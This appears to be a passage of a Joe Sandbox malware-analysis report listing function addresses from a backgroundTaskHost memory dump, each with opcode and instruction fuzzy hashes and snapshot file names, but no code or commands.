                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8beb7fc79840930acaceadaf076818b272e038ac7400e0bdef2320c191d19ceb
                  • Instruction ID: 6b5c9a5ace17f50a9cb244599e45a16a47f57b1c44769907a603e8d021b3a788
                  • Opcode Fuzzy Hash: 8beb7fc79840930acaceadaf076818b272e038ac7400e0bdef2320c191d19ceb
                  • Instruction Fuzzy Hash: 2221F670A0D94B9BDBA8DF6889F61B9BBE0FF16300F4444BBD91DC6192CE39A800D741
                  Function 00007FFD348CE8F0 Relevance: .1, Instructions: 86COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ed7082be482d99683c5314c0390aad6e22e22535e9e8184dd35a9e56dacbb202
                  • Instruction ID: ffb56c263a3982c9773d6f621081b2f2eff6f85d0513163b5bc1f6c49da9aee7
                  • Opcode Fuzzy Hash: ed7082be482d99683c5314c0390aad6e22e22535e9e8184dd35a9e56dacbb202
                  • Instruction Fuzzy Hash: 1A310B10E1C5A64EE7AB831445F05B4BBA1EF5331172846BBD1CACB0DBD41CBD8AE741
                  Function 00007FFD348BB62C Relevance: .1, Instructions: 84COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 37fb228ae0f73fd3a4b1b3de76a2af070e5c02141ed3b3a771f821be48723ab7
                  • Instruction ID: 7153067704006d6174d5eebe628f8823bfff65d7085032b6fb9b90a4a61eac0c
                  • Opcode Fuzzy Hash: 37fb228ae0f73fd3a4b1b3de76a2af070e5c02141ed3b3a771f821be48723ab7
                  • Instruction Fuzzy Hash: 4431FC70A1895E4FDBA4EB18C8A57E9B7B1FF59300F1486F6801DE2192DE7869C19F80
                  Function 00007FFD348DD8C0 Relevance: .1, Instructions: 84COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: fce6750f63971f733925cf950af6c70e41c39aaec7cbde596b69c932e33de492
                  • Instruction ID: e771e2ec9bfa45c14c0b0dcda3e9ffd346ba12d3f4e4d1598d977e7011b2eccf
                  • Opcode Fuzzy Hash: fce6750f63971f733925cf950af6c70e41c39aaec7cbde596b69c932e33de492
                  • Instruction Fuzzy Hash: 62317D11A1F5A69BE72B931444B45747BE1EF9330871847BAC18ACF4CFD82D7885E341
                  Function 00007FFD348DACD2 Relevance: .1, Instructions: 82COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2b1e3821be7eff5aeeffc010acbd951904361d53a27c55beb0fd79c6d42df903
                  • Instruction ID: a6a7673ae55c6273d7562ba72e7926d21aff0ef73830bb50e2a03f715a72806d
                  • Opcode Fuzzy Hash: 2b1e3821be7eff5aeeffc010acbd951904361d53a27c55beb0fd79c6d42df903
                  • Instruction Fuzzy Hash: 5C21F771E1991D9FDF98DB58C4A5AEDB7B1FF69301F1002AAD04EE3291CA39A941CB40
                  Function 00007FFD348C64D9 Relevance: .1, Instructions: 80COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f665f8a71ae38e44e933d56de3e80825b993b987a7d7b18d55919110f217689d
                  • Instruction ID: 9d32d8bc08cddcff1d1a530ad427b5ee677665a92b733a950426e6b9eaf40022
                  • Opcode Fuzzy Hash: f665f8a71ae38e44e933d56de3e80825b993b987a7d7b18d55919110f217689d
                  • Instruction Fuzzy Hash: 7F21A170A0D64A8FEB51EF6489A92B9BBE0FF16300F0405B7D90CD71A2DE38A844D701
                  Function 00007FFD348E19FA Relevance: .1, Instructions: 79COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1394656a38fc34d7f9c60ad81ae053282432490bcfc16ac6bdf779ea4861c511
                  • Instruction ID: 1701e6c7e172d54cae184b321cf1361733eb9e8f978e6f80faa05bf36ef8ecab
                  • Opcode Fuzzy Hash: 1394656a38fc34d7f9c60ad81ae053282432490bcfc16ac6bdf779ea4861c511
                  • Instruction Fuzzy Hash: BC219232B1C42A8EE724E758A4A05FD77A5FFBA710B240077D24ED7282DE6C7C45A781
                  Function 00007FFD348C7931 Relevance: .1, Instructions: 77COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: feb3eda052a0555d94b9b99adefe1992b1eadd1d12738c787599d1246458905a
                  • Instruction ID: ca1db52e3937747265163a488fd03335e963ea9ad85613d11deba90364599175
                  • Opcode Fuzzy Hash: feb3eda052a0555d94b9b99adefe1992b1eadd1d12738c787599d1246458905a
                  • Instruction Fuzzy Hash: 59218E74A1960F8FEB95EB6889A92BDB7E0FF1A300F0004BAD51DC2092DF39A955D701
                  Function 00007FFD348C97FF Relevance: .1, Instructions: 77COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6036a4eba33a1e023154de543178a417fe363bbf9b57b72f937a4df03d4c25d9
                  • Instruction ID: 7a252ae0beba3c7f277597ccf4943f4a540df11ee5dfdaf664021b9d5c4b7ffc
                  • Opcode Fuzzy Hash: 6036a4eba33a1e023154de543178a417fe363bbf9b57b72f937a4df03d4c25d9
                  • Instruction Fuzzy Hash: 2321B530E4941D8BDFA8EB58D9A5AEDB3B1EF59300F5051AAE10DE3691CE34AD819F40
                  Function 00007FFD348BA951 Relevance: .1, Instructions: 75COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 186d777fb716dffb37370fa8f3c331d5aec7fd0adcad00ad8af9d3a80d4ee775
                  • Instruction ID: 77638bae9d69c1cd396490b4f6d07b5a56da0961d637d7a3b3d0a6f03d0d686f
                  • Opcode Fuzzy Hash: 186d777fb716dffb37370fa8f3c331d5aec7fd0adcad00ad8af9d3a80d4ee775
                  • Instruction Fuzzy Hash: F5216D70A18A4D8FDB89EF58C4996F93BF0FF69304F01456AE819C7291DB34E440CB81
                  Function 00007FFD348B3591 Relevance: .1, Instructions: 75COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1c2cf2f86e222dd7269571d292cf487e982c5d2b408c3dc3f253749b0c37a0e8
                  • Instruction ID: 702b4e51ee96a81f270f4996295b2d1b5d1f3230135881645bc1d58ac50a3cc9
                  • Opcode Fuzzy Hash: 1c2cf2f86e222dd7269571d292cf487e982c5d2b408c3dc3f253749b0c37a0e8
                  • Instruction Fuzzy Hash: B8216F30A0960E8FEB54EF6888A92BE77E0FF1A301F00497AD51EC2181DFB9A500D780
                  Function 00007FFD348B3615 Relevance: .1, Instructions: 74COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0944e6618f3c05d9d30fb993888e7be0982dc8ef0dd107d4b0de892d00651dc9
                  • Instruction ID: 5ceaf2f2559e1fe190618ed6fbf9537473a3aead3a41398f5ec6d0e416ec7171
                  • Opcode Fuzzy Hash: 0944e6618f3c05d9d30fb993888e7be0982dc8ef0dd107d4b0de892d00651dc9
                  • Instruction Fuzzy Hash: 03216D30A0964E9FDB68DF6488A96FD77A0FF06300F4044BED51AC6291DFB9A550D780
                  Function 00007FFD348DFF4A Relevance: .1, Instructions: 73COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ca4908dffc0bd83a0c7060d604b1ccaa9891755ab34507810106fc4400cbe5b2
                  • Instruction ID: f7fdf19fda10adc04af0359658122058dd4afb7d4dcbe73ad146ed029bb783fb
                  • Opcode Fuzzy Hash: ca4908dffc0bd83a0c7060d604b1ccaa9891755ab34507810106fc4400cbe5b2
                  • Instruction Fuzzy Hash: E3218411A0F2C34BE32A537864B15B96E802F43224F1D06BAEB8DCA4D3CD8C6585B342
                  Function 00007FFD348CB1A9 Relevance: .1, Instructions: 73COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e73384663425b015115e7332fdee29f13499bed0a98da35af4b33a38e455362b
                  • Instruction ID: a6b3e0c2ab233484d940a18411290643c73bbf5f3f1f9da77c0d463047d1757f
                  • Opcode Fuzzy Hash: e73384663425b015115e7332fdee29f13499bed0a98da35af4b33a38e455362b
                  • Instruction Fuzzy Hash: 58214A71A58A8D8FDB94DB98D9A05ACBBB1FF59300F50007BD10AE7291DA38AD05DB50
                  Function 00007FFD348C43C8 Relevance: .1, Instructions: 73COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 37a785744d7cccf962fea77c66c1cad255720aa650bff7bf8a6d249221ca0a5b
                  • Instruction ID: c7b95761841d6d3eec69df8fcb617bd11b580a2b142137bc018fceaf9d5074c1
                  • Opcode Fuzzy Hash: 37a785744d7cccf962fea77c66c1cad255720aa650bff7bf8a6d249221ca0a5b
                  • Instruction Fuzzy Hash: 54214C70E0911A8EDB10EF68D5956FCF6F0AF5A701F50517AD10EE2282DA3C6A85EB40
                  Function 00007FFD348D3778 Relevance: .1, Instructions: 72COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 42542bda8aaf0204f05a01231b9628afd7b8b232f8c9974306f50e9f4aac1bba
                  • Instruction ID: bddfb50aa3f89f146a5e3e85c7a5948df27c7b3578d435f2f1242a7d38b20de0
                  • Opcode Fuzzy Hash: 42542bda8aaf0204f05a01231b9628afd7b8b232f8c9974306f50e9f4aac1bba
                  • Instruction Fuzzy Hash: 55215E65A0FBC65FE767433858B54B47FA06F4322071943FBC189CA5E3DA4C5846A3A2
                  Function 00007FFD348C7F6D Relevance: .1, Instructions: 72COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: bfc245127e99e7ce5bb8278ae5fb2e995a689e8eeb508c4d450f47f5cb14bf23
                  • Instruction ID: 8f56c7420296dc521e246514243b9e63964ea88ccd8e68f793f61febb3b61936
                  • Opcode Fuzzy Hash: bfc245127e99e7ce5bb8278ae5fb2e995a689e8eeb508c4d450f47f5cb14bf23
                  • Instruction Fuzzy Hash: 6811E27095D58E4FEB55EB64C8A95F9BBF0FF1A311F1004BBD819C7092DA3A5541C700
                  Function 00007FFD348B0A01 Relevance: .1, Instructions: 68COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f0881041cd07586582ea199b62daa9f342c8903c05ef555e5fe0490cd59c0b0a
                  • Instruction ID: cfcf75cc22036418e5fb560e015c4513835bac04be413c6e1f685371ec9abb4a
                  • Opcode Fuzzy Hash: f0881041cd07586582ea199b62daa9f342c8903c05ef555e5fe0490cd59c0b0a
                  • Instruction Fuzzy Hash: 6111BF30E1C50E4FEB90EB6888A92FD7BE0FF5B300F4459B6C518D7192EE78A4809780
                  Function 00007FFD348B34F8 Relevance: .1, Instructions: 66COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: acef3f2f0e3e8f48982654a63fa7df3e8aa4eebf71b1e32e458cb95df47a11f0
                  • Instruction ID: f29aef98e5934cddc861f972241f7a625fc4eb563a8f4f4cd32ec02f9624ea2f
                  • Opcode Fuzzy Hash: acef3f2f0e3e8f48982654a63fa7df3e8aa4eebf71b1e32e458cb95df47a11f0
                  • Instruction Fuzzy Hash: 71219D3094E78A9FD742AB7488A86A97FF4FF07310F0644FAD449CB0A2DAA8A544D751
                  Function 00007FFD348C7255 Relevance: .1, Instructions: 66COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 64f9f0896b2cf7773b90f4f5da577d9087c42913ee8563a98577305daeeaf26b
                  • Instruction ID: 5a1e950539dbc3e447752bbce29c2ea6272f5799671983468e8c35720b8fec97
                  • Opcode Fuzzy Hash: 64f9f0896b2cf7773b90f4f5da577d9087c42913ee8563a98577305daeeaf26b
                  • Instruction Fuzzy Hash: BC11A270A0864E9FDB94EF6884A52BD7BE1FF6A301F0445BFE41AC7192DE39A440C741
                  Function 00007FFD348DC970 Relevance: .1, Instructions: 65COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2db5bf6224fadcd5c69d250b592a29e7bd5283bdce24d8e51ca58b938ea10ec3
                  • Instruction ID: e8e6aa0144525587b42a2c684f03f9b6f5018aa0ba76e595d20cd9162ced1239
                  • Opcode Fuzzy Hash: 2db5bf6224fadcd5c69d250b592a29e7bd5283bdce24d8e51ca58b938ea10ec3
                  • Instruction Fuzzy Hash: 4B11C131B0AA494FDB65EF6590A25FA73A0EF56351F000B7AE54EC3592CF2CB8469290
                  Function 00007FFD348C2861 Relevance: .1, Instructions: 65COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a11e56a48820e4d459205d650abe28c18802ce9454b4cbf4822f037438232fd8
                  • Instruction ID: 1a24e755e9cd77b669d713f97cd68ea2335789614aa8b349db184e4bc0364e02
                  • Opcode Fuzzy Hash: a11e56a48820e4d459205d650abe28c18802ce9454b4cbf4822f037438232fd8
                  • Instruction Fuzzy Hash: 07116D30A186498FDB58DF28C4A55F97BA1FF99304F1146BEE80AC3291CB39A451DB91
                  Function 00007FFD348CD1E3 Relevance: .1, Instructions: 65COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e41a8a826ac0669fbb028a3695a8260e5b36fa85da521135781c76e057cfb8ca
                  • Instruction ID: b19b25c0bbf44292f70744d6a2475d7b5a9a57b3affd9405cc60562bce997829
                  • Opcode Fuzzy Hash: e41a8a826ac0669fbb028a3695a8260e5b36fa85da521135781c76e057cfb8ca
                  • Instruction Fuzzy Hash: D811B631B5C81ACEEAA4A74897A16BCF2E1EF4A318B645077D20FD7190DA2CBC017641
                  Function 00007FFD348CD9A0 Relevance: .1, Instructions: 65COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a1347a8b2357008b46f74e20a8c6f4bc766d19227ae09d0da3e0862ce0f30e72
                  • Instruction ID: 4282b9ade779d7dd94a2044e5507fb893199a4b8c4c8b8b21aa1017c3fa7a8e4
                  • Opcode Fuzzy Hash: a1347a8b2357008b46f74e20a8c6f4bc766d19227ae09d0da3e0862ce0f30e72
                  • Instruction Fuzzy Hash: A311C121B48A0A4FDB64BB6591A15FAB3E0EF95215F00063BE54EC3492CE3CBC469290
                  Function 00007FFD348C4B09 Relevance: .1, Instructions: 65COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e95042b0d4466d07b43fb26f4f9ab52bb3470b6436298e9cf6c2d61a2382622b
                  • Instruction ID: 53ede0c07b994dd02df6cafd52698ea2aeaa9e5da74fa50c18343f6d3fa4c53b
                  • Opcode Fuzzy Hash: e95042b0d4466d07b43fb26f4f9ab52bb3470b6436298e9cf6c2d61a2382622b
                  • Instruction Fuzzy Hash: 7321A530A0D64E5FDB99DF6488A52BD7BE0FF5A311F0405BBD509C7192DB79A480C741
                  Function 00007FFD348DA101 Relevance: .1, Instructions: 64COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3de34861eed4a8a73d96bba7c9534d213a6ca8abd1cc500b9645f8a1b6812773
                  • Instruction ID: ccb7a33cd67872a7598831a6c46dbfe30e2077d5f685ba1d4273c439721e4da2
                  • Opcode Fuzzy Hash: 3de34861eed4a8a73d96bba7c9534d213a6ca8abd1cc500b9645f8a1b6812773
                  • Instruction Fuzzy Hash: C1117C30A0964D8FDF55EF28C8A96F93BE0FF1A301F1006BAD41AC7191DB39A450CB40
                  Function 00007FFD348C4BA5 Relevance: .1, Instructions: 64COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b697f45a37ce2b31b2da74fbb5e32ffb03856ca791f42cd0e0b3a9627621b052
                  • Instruction ID: 87555f3bf8c262afa5df1ebf3254dfe4fa021bedaeb88bbaa5d7c1c0e695e1de
                  • Opcode Fuzzy Hash: b697f45a37ce2b31b2da74fbb5e32ffb03856ca791f42cd0e0b3a9627621b052
                  • Instruction Fuzzy Hash: 2911B730A0D64D5FEB54DFA484A92B97BE0FF59301F0005BFD40EC6192DE396480C740
                  Function 00007FFD348E3D03 Relevance: .1, Instructions: 62COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 64e569943bd1a7d78e3ed3409a4dc363556ec0ef4c80c54721a96a7dcfdc8975
                  • Instruction ID: 3f102f2e6c4d951341c68a9ad78ac878213e4b9c3afbc96950f0979858ea3277
                  • Opcode Fuzzy Hash: 64e569943bd1a7d78e3ed3409a4dc363556ec0ef4c80c54721a96a7dcfdc8975
                  • Instruction Fuzzy Hash: E611F930B089198BDF9CDB58C4A5AA9B7A1EF59310F0411BEE14EE3691CE39AD818B45
                  Function 00007FFD348DC7EE Relevance: .1, Instructions: 61COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 98be4fd0e55d490451a2679162720d3514bf6288751f2fbdcc11bc008dc78e1d
                  • Instruction ID: 97ceec4ea9a09305e12238d894bd99d232a9b1f95619780017e82b3143e0dda5
                  • Opcode Fuzzy Hash: 98be4fd0e55d490451a2679162720d3514bf6288751f2fbdcc11bc008dc78e1d
                  • Instruction Fuzzy Hash: 6D11443130B5468FEB159F68D4A12E473A0EF57361F10073BEA0EC7691CB3CA8418380
                  Function 00007FFD348CD81E Relevance: .1, Instructions: 61COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 60e143e7317e768ac9e0ef610c2c3e088fab07f0e7c595b6c8830d2064194932
                  • Instruction ID: 54245981552010229037eb1515139f4f6fdd34ae501c51b8a1f78781c5317e74
                  • Opcode Fuzzy Hash: 60e143e7317e768ac9e0ef610c2c3e088fab07f0e7c595b6c8830d2064194932
                  • Instruction Fuzzy Hash: D51148317095068FEB05AF54D5A52F4B3D0EF96316F10063BEA0EC7691CB2C6C558340
                  Function 00007FFD348C5439 Relevance: .1, Instructions: 60COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1da082fa47863fc719687ec74c2dab9779f0ebef1e9927c837f80b822b73bcc0
                  • Instruction ID: c2b5d76ae0d77220dd6736abb0b0fdc77c558fd9d9615d7453e610e081d005dc
                  • Opcode Fuzzy Hash: 1da082fa47863fc719687ec74c2dab9779f0ebef1e9927c837f80b822b73bcc0
                  • Instruction Fuzzy Hash: 25119370A0D69A5FDF95DB6488A92BD7BF0FF16301F0404BBD509C6193DE79A840C741
                  Function 00007FFD348C2C61 Relevance: .1, Instructions: 59COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 67bd167208e6833328caf1a2efd1d7b38425dadccc8fd67917bf077aa90cdfd5
                  • Instruction ID: cb2a549a595877808a626dbdba09c7a2ee29c43af7372d96ddc65794d9fbf6ed
                  • Opcode Fuzzy Hash: 67bd167208e6833328caf1a2efd1d7b38425dadccc8fd67917bf077aa90cdfd5
                  • Instruction Fuzzy Hash: BF11A134E0C65A9EEB92EB7888985F97BE0FF5B300F0444B7D518C71A2DA38A545C741
                  Function 00007FFD348C50C9 Relevance: .1, Instructions: 59COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 04de546af2e7a8a0e068f6dbc101f552e3b80f263cdfa084b0349aea9d7857e9
                  • Instruction ID: 18e983cae4c948026fa6757042d74c9311ce7215b935b5a237ea88da0d91960b
                  • Opcode Fuzzy Hash: 04de546af2e7a8a0e068f6dbc101f552e3b80f263cdfa084b0349aea9d7857e9
                  • Instruction Fuzzy Hash: BA119371A0EA894FEF959F6489B91B87BA0EF16308F0500FFD559C6593DA296844C701
